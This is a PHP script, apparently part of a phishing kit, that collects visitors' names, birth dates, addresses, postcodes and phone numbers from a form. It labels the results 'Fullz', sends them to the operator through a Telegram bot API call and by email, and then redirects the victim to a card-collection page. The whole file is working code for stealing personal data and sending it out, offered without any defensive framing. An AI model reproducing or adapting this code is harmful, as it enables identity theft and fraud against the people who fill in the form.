PHP Decode

<?php 
  error_reporting(0); 
  ob_start(); 
  session_start(); 
include '../../email.php'; 
include '../../config2.php'; 
 
if($_SERVER['REQUEST_METHOD'] == 'POST'){ 
    $_SESSION["surname"]    = $_POST["surname"]; 
    $_SESSION["name"]    = $_POST["name"]; 
    $_SESSION["dob"]= $_POST["dob"]; 
    $_SESSION["address"]   = $_POST["address"]; 
    $_SESSION["zipcode"]    = $_POST["zipcode"]; 
    $_SESSION["city"]= $_POST["city"]; 
    $_SESSION["tel"]   = $_POST["tel"]; 
$message = 'Nom : '.$_SESSION["surname"].' 
<br>Prenom : '.$_SESSION["name"].' 
<br>Date de naissance : '.$_SESSION["dob"].' 
<br>Adresse : '.$_SESSION["address"].' 
<br>Code Postal : '.$_SESSION["zipcode"].' 
<br>Ville : '.$_SESSION["city"].' 
<br>Numero de telephone : '.$_SESSION["tel"].' 
<br>IP: '._ip().' 
<br>User Agent: '.$_SERVER["HTTP_USER_AGENT"].' 
'; 
$Subject="+1 Fullz | "._ip(); 
$head  = 'MIME-Version: 1.0' . "
"; 
$head .= 'Content-type: text/html; charset="utf-8"' . "
"; 
$head .="From: Koda <[email protected]> 
" . 
'X-Mailer: PHP/' . phpversion(); 
$_SESSION['step_two']  = true; 
 
if($tlg_send == true) 
{ 
  $data = [ 
    'text' => ' 
       |  
[  FULLZ  ] 
 
 Nom  '.$_SESSION["surname"].' 
 Prnom  '.$_SESSION["name"].' 
 Date De Naissance  '.$_SESSION["dob"].' 
 
 Tlphone  '. $_SESSION["tel"].' 
 Adresse  '. $_SESSION["address"].' 
 Ville  '.$_SESSION["city"].' 
 Code Postal  '. $_SESSION["zipcode"].' 
 
[] Tiers [] 
         
 Adresse Ip : '.$_SESSION['ip'].' 
 City : '.$city.' 
 Country : '.$country.' 
 User-agent : '.$_SESSION['useragent'].'   
' 
  ]; 
   
  file_get_contents("https://api.telegram.org/bot$token/sendMessage?chat_id={$chat}&".http_build_query($data) );// Don't delete 
} 
 
if ($mail_send == true) 
{ 
  mail($my_mail, $Subject, $msg, $head); 
} 
    header('location: ../card.php?enc=' . md5(time()) . '&p=1&dispatch=' . sha1(time())); 
 
} 
else 
{ 
  header('location: ../../index.php'); 
}  
 
 ?>